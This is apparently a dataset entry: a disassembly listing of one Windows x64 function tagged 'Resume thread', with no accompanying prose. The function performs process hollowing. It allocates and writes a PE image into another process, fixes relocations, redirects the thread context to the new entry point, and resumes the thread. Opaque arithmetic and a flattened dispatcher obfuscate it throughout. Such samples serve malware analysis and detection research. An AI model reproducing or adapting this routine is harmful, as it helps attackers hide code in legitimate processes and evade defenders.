Function at 0x1400104b2
Capabilities:
Resume thread

Disassembly:
push rax
pushf
mov eax, 0x5c6435be
pushf
not eax
add eax, 0xbad5fdc8
xor eax, 0x869ee98c
rol eax, 0xe3
popf
pushf
not eax
add eax, 0xc4f935ac
xor eax, 0xc0867408
rol eax, 0x32
popf
pushf
not eax
add eax, 0xa21b3e04
xor eax, 0x8e28adc2
rol eax, 0x73
popf
pushf
not eax
add eax, 0xfe9ff900
xor eax, 0xdd5ae588
rol eax, 0x5c
popf
cmp eax, 4
jne 0x140010515
popf
pop rax
jmp 0x140010992
cmp eax, 0
jne 0x140010524
popf
pop rax
jmp 0x14001069b
cmp eax, 3
jne 0x140010533
popf
pop rax
jmp 0x14001092c
cmp eax, 1
jne 0x140010542
popf
pop rax
jmp 0x1400107e5
cmp eax, 0xd
jne 0x140010551
popf
pop rax
jmp 0x140010e54
cmp eax, 0x1a
jne 0x140010560
popf
pop rax
jmp 0x140011665
cmp eax, 0xe
jne 0x14001056f
popf
pop rax
jmp 0x140010ec3
cmp eax, 0xb
jne 0x14001057e
popf
pop rax
jmp 0x140010d25
cmp eax, 0x19
jne 0x14001058d
popf
pop rax
jmp 0x14001161d
cmp eax, 8
jne 0x14001059c
popf
pop rax
jmp 0x140010af2
cmp eax, 0x10
jne 0x1400105ab
popf
pop rax
jmp 0x140010fd8
cmp eax, 0x17
jne 0x1400105ba
popf
pop rax
jmp 0x140011509
cmp eax, 9
jne 0x1400105c9
popf
pop rax
jmp 0x140010b61
cmp eax, 0x12
jne 0x1400105d8
popf
pop rax
jmp 0x1400111c8
cmp eax, 0x18
jne 0x1400105e7
popf
pop rax
jmp 0x1400115b1
cmp eax, 0x11
jne 0x1400105f6
popf
pop rax
jmp 0x140011084
cmp eax, 5
jne 0x140010605
popf
pop rax
jmp 0x1400109c8
cmp eax, 0x16
jne 0x140010614
popf
pop rax
jmp 0x140011466
cmp eax, 0xa
jne 0x140010623
popf
pop rax
jmp 0x140010c0c
cmp eax, 0x14
jne 0x140010632
popf
pop rax
jmp 0x140011307
cmp eax, 0xf
jne 0x140010641
popf
pop rax
jmp 0x140010f84
cmp eax, 0x13
jne 0x140010650
popf
pop rax
jmp 0x140011271
cmp eax, 0x15
jne 0x14001065f
popf
pop rax
jmp 0x140011344
cmp eax, 2
jne 0x14001066e
popf
pop rax
jmp 0x1400108a2
cmp eax, 6
jne 0x14001067d
popf
pop rax
jmp 0x140010a7d
cmp eax, 0xc
jne 0x14001068c
popf
pop rax
jmp 0x140010d94
cmp eax, 7
jne 0x14001069b
popf
pop rax
jmp 0x140010ac6
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x530
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x528], rax
movsxd r13, dword [rdx + 0x3c]
mov r14, rdx
push rdx
not rdx
sub r13, rdx
pop rdx
sub r13, 1
mov dword [rsp + 0x20], 0x40
mov r12, rcx
mov qword [rsp + 0x48], r13
mov rcx, qword [rcx]
xor edx, edx
mov r9d, 0xe9821ee7
pushf
not r9d
add r9d, 0xe6317e1a
xor r9d, 0x815d9539
rol r9d, 0xd7
popf
pushf
not r9d
add r9d, 0x9611f6af
xor r9d, 0xc3796934
rol r9d, 0xf4
popf
pushf
not r9d
add r9d, 0xf381aa90
xor r9d, 0xabac7bd6
rol r9d, 0x82
popf
mov r8d, dword [r13 + 0x50]
jmp 0x140010742
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x38], rax
mov r15, rax
test rax, rax
je 0x14001079f
push rax
pushf
mov eax, 0x93671d9f
pushf
not eax
add eax, 0xd835bcdd
xor eax, 0xe772bbb7
rol eax, 0x43
popf
pushf
not eax
add eax, 0xef57cdfe
xor eax, 0x8c9c4731
rol eax, 7
popf
pushf
not eax
add eax, 0xb132df0a
xor eax, 0xbb9b925b
rol eax, 0xb
popf
jmp 0x140010506
push rax
pushf
mov eax, 0xf006f069
pushf
not eax
add eax, 0xb1cf8854
xor eax, 0xdeca8ad7
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xff73bc2b
xor eax, 0x9df43c95
rol eax, 0x7e
popf
pushf
not eax
add eax, 0x9395d400
xor eax, 0xb6b65b36
rol eax, 0x3b
popf
jmp 0x140010506
sub rax, qword [r13 + 0x30]
mov r8, r14
mov r9d, dword [r13 + 0x54]
mov rdx, r15
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [r13 + 0x30], r15
mov rcx, qword [r12]
mov qword [rsp + 0x20], rax
jmp 0x140010808
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14001086f
push rax
pushf
mov eax, 0xada65d4c
pushf
not eax
add eax, 0x9dfd3b4f
xor eax, 0xe588f3ca
rol eax, 0xf0
popf
pushf
not eax
add eax, 0xd02a00a9
xor eax, 0xc2219e9c
rol eax, 0xe2
popf
pushf
not eax
add eax, 0xe501fed0
xor eax, 0xa13c37b8
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xeb251955
xor eax, 0xb01029e9
rol eax, 0x19
popf
jmp 0x140010506
push rax
pushf
mov eax, 0x94ff45b6
pushf
not eax
add eax, 0xae685336
xor eax, 0xf6072e9c
rol eax, 0xd
popf
pushf
not eax
add eax, 0xaabe2076
xor eax, 0xe641a291
rol eax, 0x20
popf
jmp 0x140010506
movsxd rbx, dword [r14 + 0x3c]
xor r11d, r11d
cmp dword [rbx + r14 + 0xb0], r11d
je 0x1400108f9
push rax
pushf
mov eax, 0x1b6fa03
pushf
not eax
add eax, 0xc1ca8b66
xor eax, 0xbc745662
rol eax, 0xbb
popf
pushf
not eax
add eax, 0xd12b0e87
xor eax, 0xf8d2495b
rol eax, 0x3b
popf
pushf
not eax
add eax, 0x87770a39
xor eax, 0xddc95d70
rol eax, 0x10
popf
jmp 0x140010506
push rax
pushf
mov eax, 0xf41d2c25
pushf
not eax
add eax, 0xc29ba5d1
xor eax, 0x872fc75e
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xb8f87835
xor eax, 0xbd2352ce
rol eax, 0x5d
popf
jmp 0x140010506
mov rbx, qword [rbx + r14 + 0xb0]
jmp 0x1400109c8
mov rbx, r11
push rax
pushf
mov eax, 0x6e816b84
pushf
not eax
add eax, 0xca738f0d
xor eax, 0xc79fdbc6
rol eax, 0xf
popf
pushf
not eax
add eax, 0xea42ce96
xor eax, 0xae1b805e
rol eax, 0x42
popf
jmp 0x140010506
mov rbp, r11
mov qword [rsp + 0x30], rbx
mov esi, r11d
cmp r11w, word [r13 + 6]
jae 0x140010a37
push rax
pushf
mov eax, 0xe2a316c5
pushf
not eax
add eax, 0xb12931a9
xor eax, 0x92bbfadd
rol eax, 0xdf
popf
pushf
not eax
add eax, 0xdb5ab757
xor eax, 0xfbe6782b
rol eax, 0x81
popf
pushf
not eax
add eax, 0xf7a039dc
xor eax, 0x9b848360
rol eax, 0x68
popf
pushf
not eax
add eax, 0xf1327268
xor eax, 0xf0f9ae95
rol eax, 0xc4
popf
jmp 0x140010506
push rax
pushf
mov eax, 0x3feb6823
pushf
not eax
add eax, 0x83bc17ad
xor eax, 0xae32c663
rol eax, 0x8a
popf
pushf
not eax
add eax, 0xb1d2e260
xor eax, 0xbec5a9b9
rol eax, 0x27
popf
pushf
not eax
add eax, 0xe297da29
xor eax, 0xa348515d
rol eax, 0x45
popf
jmp 0x140010506
mov rdi, r11
push rax
pushf
mov eax, 0xada4c8c1
pushf
not eax
add eax, 0xe9f816d1
xor eax, 0xf61ff2d1
rol eax, 0x24
popf
pushf
not eax
add eax, 0xa159d4a6
xor eax, 0xe445fc3b
rol eax, 0xe0
popf
pushf
not eax
add eax, 0xee878fdd
xor eax, 0xd5bbad5a
rol eax, 0x35
popf
jmp 0x140010506
movzx edx, word [r13 + 0x14]
add rdx, 0x18
push rdi
not rdi
sub rdx, rdi
pop rdi
sub rdx, 1
push r13
not r13
sub rdx, r13
pop r13
sub rdx, 1
mov r10d, dword [rdx + 0xc]
cmp ebx, r10d
jb 0x140010b61
mov ecx, dword [rdx + 8]
push r10
not r10d
sub ecx, r10d
pop r10
sub ecx, 1
cmp ebx, ecx
cmovb rbp, rdx
push rax
pushf
mov eax, 0xda514315
pushf
not eax
add eax, 0x9a90dce0
xor eax, 0xd53dcaf4
rol eax, 0x79
popf
pushf
not eax
add eax, 0xfe033e58
xor eax, 0xfb96622e
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xdc4c959c
xor eax, 0x852e4e9c
rol eax, 0x90
popf
pushf
not eax
add eax, 0xf903c3b9
xor eax, 0xf2f6d645
rol eax, 0x6b
popf
jmp 0x140010506
mov r8d, dword [rdx + 0x14]
mov r9d, dword [rdx + 0x10]
push r14
not r14
sub r8, r14
pop r14
sub r8, 1
mov rcx, qword [r12]
lea rdx, [r15 + r10]
mov qword [rsp + 0x20], r11
jmp 0x140010b85
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140010bd9
push rax
pushf
mov eax, 0xfbae5baf
pushf
not eax
add eax, 0xf299b103
xor eax, 0xa6092fca
rol eax, 0x5f
popf
pushf
not eax
add eax, 0x831f2da9
xor eax, 0x8090e2fd
rol eax, 0xf1
popf
pushf
not eax
add eax, 0xe9d65ab7
xor eax, 0xc496a63c
rol eax, 0x91
popf
jmp 0x140010506
push rax
pushf
mov eax, 0x3b23991d
pushf
not eax
add eax, 0xde5f9fe7
xor eax, 0xd870f7b5
rol eax, 0x27
popf
pushf
not eax
add eax, 0xa700e713
xor eax, 0x908828d4
rol eax, 4
popf
jmp 0x140010506
movzx eax, word [r13 + 6]
jmp 0x140010c12
inc esi
add rdi, 0x28
mov r11d, 0x6414338d
pushf
not r11d
add r11d, 0xc3ffc078
xor r11d, 0xb4f8abfb
rol r11d, 0x98
popf
pushf
not r11d
add r11d, 0x87b19d3c
xor r11d, 0xf8b6a6c6
rol r11d, 0x81
popf
pushf
not r11d
add r11d, 0xdbd82cd9
xor r11d, 0xbe8a655a
rol r11d, 0x54
popf
pushf
not r11d
add r11d, 0xfa85bd15
xor r11d, 0x93edd539
rol r11d, 0xf1
popf
cmp esi, eax
jl 0x140010cdf
push rax
pushf
mov eax, 0x78e467a2
pushf
not eax
add eax, 0x827bd7d0
xor eax, 0xc5fb3248
rol eax, 0xc5
popf
pushf
not eax
add eax, 0x9496fade
xor eax, 0xab95f82a
rol eax, 0xe0
popf
pushf
not eax
add eax, 0xa368a918
xor eax, 0xa6c50c29
rol eax, 0x47
popf
pushf
not eax
add eax, 0xb5154718
xor eax, 0xb0e5b65f
rol eax, 0x7c
popf
jmp 0x140010506
push rax
pushf
mov eax, 0x963773c0
pushf
not eax
add eax, 0xda69730e
xor eax, 0x8aee0f7e
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xad6ff73a
xor eax, 0xbd45ee24
rol eax, 0xd0
popf
pushf
not eax
add eax, 0xed0e11d3
xor eax, 0xe76fbfed
rol eax, 0x24
popf
jmp 0x140010506
test rbp, rbp
je 0x140010d61
push rax
pushf
mov eax, 0x43fd45e5
pushf
not eax
add eax, 0xa45fa5ad
xor eax, 0xcf49e7ca
rol eax, 0x95
popf
pushf
not eax
add eax, 0xcf3a7a56
xor eax, 0xcd848cde
rol eax, 0x37
popf
jmp 0x140010506
push rax
pushf
mov eax, 0x9ac5e804
pushf
not eax
add eax, 0xa9495636
xor eax, 0xa799b709
rol eax, 0xbb
popf
pushf
not eax
add eax, 0x96710e44
xor eax, 0xd11a377a
rol eax, 0x4f
popf
jmp 0x140010506
xor edx, edx
mov ebx, edx
cmp dword [rsp + 0x34], edx
jbe 0x140010dfb
push rax
pushf
mov eax, 0xdaacf540
pushf
not eax
add eax, 0x8481daff
xor eax, 0x91221be6
rol eax, 0xbd
popf
pushf
not eax
add eax, 0xb68bb5f0
xor eax, 0xfd314fe0
rol eax, 0x4d
popf
pushf
not eax
add eax, 0x96b7c55c
xor eax, 0x8378a1e7
rol eax, 0x31
popf
pushf
not eax
add eax, 0xf618c9fb
xor eax, 0xc02a13eb
rol eax, 0x57
popf
jmp 0x140010506
push rax
pushf
mov eax, 0x1311aa55
pushf
not eax
add eax, 0x8ea9861d
xor eax, 0xc098374f
rol eax, 0xbd
popf
pushf
not eax
add eax, 0xfb63a889
xor eax, 0xe3ecb301
rol eax, 0xe
popf
pushf
not eax
add eax, 0x865f3b36
xor eax, 0xa6acf632
rol eax, 0x3e
popf
pushf
not eax
add eax, 0xfb0c8ae3
xor eax, 0xd4b93580
rol eax, 0xfb
popf
jmp 0x140010506
mov r8d, 0x9f6ce6ef
pushf
not r8d
add r8d, 0xc6b986c2
xor r8d, 0xd28f447e
rol r8d, 0x81
popf
pushf
not r8d
add r8d, 0xe48e6cb7
xor r8d, 0xf906bd5d
rol r8d, 0xc1
popf
mov r13, r15
nop
push rax
pushf
mov eax, 0x36d6cb0f
pushf
not eax
add eax, 0x9a2214cd
xor eax, 0xeb763773
rol eax, 0xcb
popf
pushf
not eax
add eax, 0x8d7eab27
xor eax, 0x998836e5
rol eax, 6
popf
jmp 0x140010506
mov eax, dword [rbp + 0x14]
push r14
not r14
sub rax, r14
pop r14
sub rax, 1
mov r15d, ebx
push rax
not rax
sub r15, rax
pop rax
sub r15, 1
add ebx, 8
mov eax, dword [r15 + 4]
sub rax, 8
shr rax, 1
test eax, eax
je 0x140010f3e
push rax
pushf
mov eax, 0xb3909231
pushf
not eax
add eax, 0xfb5132cd
xor eax, 0xb4592bde
rol eax, 0x55
popf
pushf
not eax
add eax, 0xedfc30f9
xor eax, 0x8a4c6722
rol eax, 1
popf
pushf
not eax
add eax, 0x9e5b8b9b
xor eax, 0x8f77d5d0
rol eax, 4
popf
jmp 0x140010506
push rax
pushf
mov eax, 0x9e602d97
pushf
not eax
add eax, 0xd35ee823
xor eax, 0x997147e8
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xa39d8240
xor eax, 0xe7b002d0
rol eax, 0xb4
popf
pushf
not eax
add eax, 0x83ffa527
xor eax, 0x808d6c8e
rol eax, 0x92
popf
jmp 0x140010506
mov esi, eax
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0x63cda66f
pushf
not eax
add eax, 0xee68b424
xor eax, 0xee224744
rol eax, 0x99
popf
pushf
not eax
add eax, 0xebc234ae
xor eax, 0xe402d5b0
rol eax, 0x20
popf
pushf
not eax
add eax, 0xe0b1b180
xor eax, 0xf1b599d7
rol eax, 0xd3
popf
jmp 0x140010506
mov eax, dword [rbp + 0x14]
push r14
not r14
sub rax, r14
pop r14
sub rax, 1
mov ecx, ebx
add ebx, 2
movzx eax, word [rcx + rax]
cmp ax, r8w
jb 0x14001103e
push rax
pushf
mov eax, 0x985de01c
pushf
not eax
add eax, 0xb73973a7
xor eax, 0xda96edbb
rol eax, 0xae
popf
pushf
not eax
add eax, 0xb0856ff4
xor eax, 0xba286ca2
rol eax, 0xe7
popf
pushf
not eax
add eax, 0xfd04c30e
xor eax, 0x969ba198
rol eax, 0xab
popf
jmp 0x140010506
push rax
pushf
mov eax, 0xf47b971d
pushf
not eax
add eax, 0xd2d68716
xor eax, 0xebed0c6b
rol eax, 0x2c
popf
pushf
not eax
add eax, 0xd428d5e6
xor eax, 0xc6ec4515
rol eax, 0x68
popf
pushf
not eax
add eax, 0xe56370da
xor eax, 0xe33bd146
rol eax, 0x2b
popf
jmp 0x140010506
mov edi, dword [r15]
lea r8, [rsp + 0x520]
mov rcx, qword [r12]
and eax, 0xfff
push r13
not r13
sub rax, r13
pop r13
sub rax, 1
mov qword [rsp + 0x520], rdx
push rax
not rax
sub rdi, rax
pop rax
sub rdi, 1
mov qword [rsp + 0x20], rdx
mov rdx, rdi
mov r9d, 0x929266a0
pushf
not r9d
add r9d, 0xb4aa8e4e
xor r9d, 0xc1ba3a6c
rol r9d, 0x79
popf
pushf
not r9d
add r9d, 0xd6ad7b48
xor r9d, 0xcf8271bb
rol r9d, 0x9a
popf
pushf
not r9d
add r9d, 0x8d5e8c78
xor r9d, 0xaee8fb5f
rol r9d, 0xe2
popf
jmp 0x140011114
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [rsp + 0x40]
lea r8, [rsp + 0x520]
add qword [rsp + 0x520], rax
mov rdx, rdi
mov rcx, qword [r12]
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9d, [rax + 8]
jmp 0x140011142
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor edx, edx
mov r8d, 0x6b7ff285
pushf
not r8d
add r8d, 0x87499c70
xor r8d, 0xa6d7dfb8
rol r8d, 0xcf
popf
pushf
not r8d
add r8d, 0xd9401ce1
xor r8d, 0x9e16be59
rol r8d, 0xc9
popf
push rax
pushf
mov eax, 0x24de2611
pushf
not eax
add eax, 0xfa2c6619
xor eax, 0xb6bc8af9
rol eax, 0xd7
popf
pushf
not eax
add eax, 0x8863dbb3
xor eax, 0xa9a16d4a
rol eax, 0x85
popf
pushf
not eax
add eax, 0xbc4a0a0e
xor eax, 0xaa38290b
rol eax, 0x80
popf
jmp 0x140010506
sub rsi, 1
jne 0x14001122b
push rax
pushf
mov eax, 0x46a58ea9
pushf
not eax
add eax, 0x9f0d2f27
xor eax, 0x9c9979dd
rol eax, 0xe4
popf
pushf
not eax
add eax, 0x9a2fde1f
xor eax, 0xd258eeb6
rol eax, 0xe6
popf
pushf
not eax
add eax, 0xae7da75c
xor eax, 0xf68ef9e9
rol eax, 0x88
popf
pushf
not eax
add eax, 0xf071ee61
xor eax, 0x946b220f
rol eax, 0x14
popf
jmp 0x140010506
push rax
pushf
mov eax, 0xd4eaa623
pushf
not eax
add eax, 0xfe597c50
xor eax, 0xa06abed7
rol eax, 0x37
popf
pushf
not eax
add eax, 0x8c938640
xor eax, 0x82d4cbea
rol eax, 0xdb
popf
pushf
not eax
add eax, 0x8f844638
xor eax, 0x832167b8
rol eax, 0x13
popf
jmp 0x140010506
cmp ebx, dword [rsp + 0x34]
jb 0x1400112ae
push rax
pushf
mov eax, 0x115c951b
pushf
not eax
add eax, 0xadeb902a
xor eax, 0xb56dd6e3
rol eax, 0x6c
popf
pushf
not eax
add eax, 0xd648a0ed
xor eax, 0xb769ce4e
rol eax, 0xc8
popf
jmp 0x140010506
push rax
pushf
mov eax, 0x3225b932
pushf
not eax
add eax, 0xe9be8ec4
xor eax, 0x9a77369a
rol eax, 0xe3
popf
pushf
not eax
add eax, 0x91379252
xor eax, 0xdbf50582
rol eax, 0x77
popf
pushf
not eax
add eax, 0x91b87f24
xor eax, 0xbdf916f6
rol eax, 0xc0
popf
pushf
not eax
add eax, 0x91136cb2
xor eax, 0xa7511e26
rol eax, 0xbe
popf
jmp 0x140010506
mov r13, qword [rsp + 0x48]
mov r15, qword [rsp + 0x38]
push rax
pushf
mov eax, 0xcd696456
pushf
not eax
add eax, 0xcf965e64
xor eax, 0xd59110f6
rol eax, 0x11
popf
pushf
not eax
add eax, 0xad3042bf
xor eax, 0xd73899c3
rol eax, 0x99
popf
jmp 0x140010506
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x572af65d
pushf
not r8d
add r8d, 0x975cbc8a
xor r8d, 0x8fa3c1eb
rol r8d, 0x78
popf
pushf
not r8d
add r8d, 0xa2e387bc
xor r8d, 0xbf0482ed
rol r8d, 7
popf
pushf
not r8d
add r8d, 0xe2d49065
xor r8d, 0xdfa2fbac
rol r8d, 0x76
popf
pushf
not r8d
add r8d, 0xcb93a2ec
xor r8d, 0xc4116725
rol r8d, 0x7e
popf
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [r12 + 8]
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x80], 0x10000b
jmp 0x1400113d0
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140011433
push rax
pushf
mov eax, 0x9fb13aa8
pushf
not eax
add eax, 0xf1138945
xor eax, 0x8dac3b17
rol eax, 0x1d
popf
pushf
not eax
add eax, 0xaf18674d
xor eax, 0xb442234e
rol eax, 0x14
popf
pushf
not eax
add eax, 0xea1f95b5
xor eax, 0x822f5118
rol eax, 0x99
popf
pushf
not eax
add eax, 0x9932fb22
xor eax, 0xb4b52a40
rol eax, 0x8c
popf
jmp 0x140010506
push rax
pushf
mov eax, 0x53fab0dc
pushf
not eax
add eax, 0x9aff7c3e
xor eax, 0xa5825f1e
rol eax, 0x51
popf
pushf
not eax
add eax, 0xa9c3ec4b
xor eax, 0x80c8a73d
rol eax, 0xb1
popf
jmp 0x140010506
mov rdx, qword [rsp + 0xd8]
lea r8, [r13 + 0x30]
mov rcx, qword [r12]
xor eax, eax
add rdx, 0x10
mov qword [rsp + 0x20], rax
lea r9d, [rax + 8]
jmp 0x140011486
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400114d6
push rax
pushf
mov eax, 0x4770d433
pushf
not eax
add eax, 0xaa50b4d8
xor eax, 0xbb5775af
rol eax, 0x5f
popf
pushf
not eax
add eax, 0x97df55a0
xor eax, 0x899afe9c
rol eax, 0xc2
popf
pushf
not eax
add eax, 0xd8f84645
xor eax, 0xf6f0702c
rol eax, 0x45
popf
jmp 0x140010506
push rax
pushf
mov eax, 0x9290e36d
pushf
not eax
add eax, 0xc662d730
xor eax, 0xbca0462d
rol eax, 0x92
popf
pushf
not eax
add eax, 0xbd388535
xor eax, 0xe57a412e
rol eax, 0xda
popf
jmp 0x140010506
mov eax, dword [r13 + 0x28]
lea rdx, [rsp + 0x50]
mov rcx, qword [r12 + 8]
push r15
not r15
sub rax, r15
pop r15
sub rax, 1
mov qword [rsp + 0xd0], rax
jmp 0x14001152e
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x14001156b
push rax
pushf
mov eax, 0xab7fb426
pushf
not eax
add eax, 0xaf581909
xor eax, 0xa0ae7327
rol eax, 0x3d
popf
pushf
not eax
add eax, 0x90eef1a6
xor eax, 0xdc802ecd
rol eax, 0xbe
popf
jmp 0x140010506
push rax
pushf
mov eax, 0xb6c06547
pushf
not eax
add eax, 0xbc59c0a1
xor eax, 0xc99c5f13
rol eax, 0xfd
popf
pushf
not eax
add eax, 0xfb0c773d
xor eax, 0x80cab85a
rol eax, 0x35
popf
pushf
not eax
add eax, 0xb1344729
xor eax, 0xe6101efb
rol eax, 0x67
popf
jmp 0x140010506
mov rcx, qword [r12 + 8]
jmp 0x1400115b7
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 0x82034817
pushf
not eax
add eax, 0xad8550ef
xor eax, 0xecc252c1
rol eax, 0x5e
popf
pushf
not eax
add eax, 0x93b95a46
xor eax, 0xe3e943c0
rol eax, 0x27
popf
jmp 0x140011665
xor eax, eax
push rax
pushf
mov eax, 0x4223d31f
pushf
not eax
add eax, 0xd5a0bb81
xor eax, 0x9e17bf49
rol eax, 0x24
popf
pushf
not eax
add eax, 0xc3d97e88
xor eax, 0x91ee2a5b
rol eax, 0xf9
popf
pushf
not eax
add eax, 0xf413adb5
xor eax, 0x9b1a1969
rol eax, 0x44
popf
jmp 0x140010506
mov rcx, qword [rsp + 0x528]
xor rcx, rsp
call fcn.14000fff1
mov rbx, qword [rsp + 0x580]
add rsp, 0x530
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret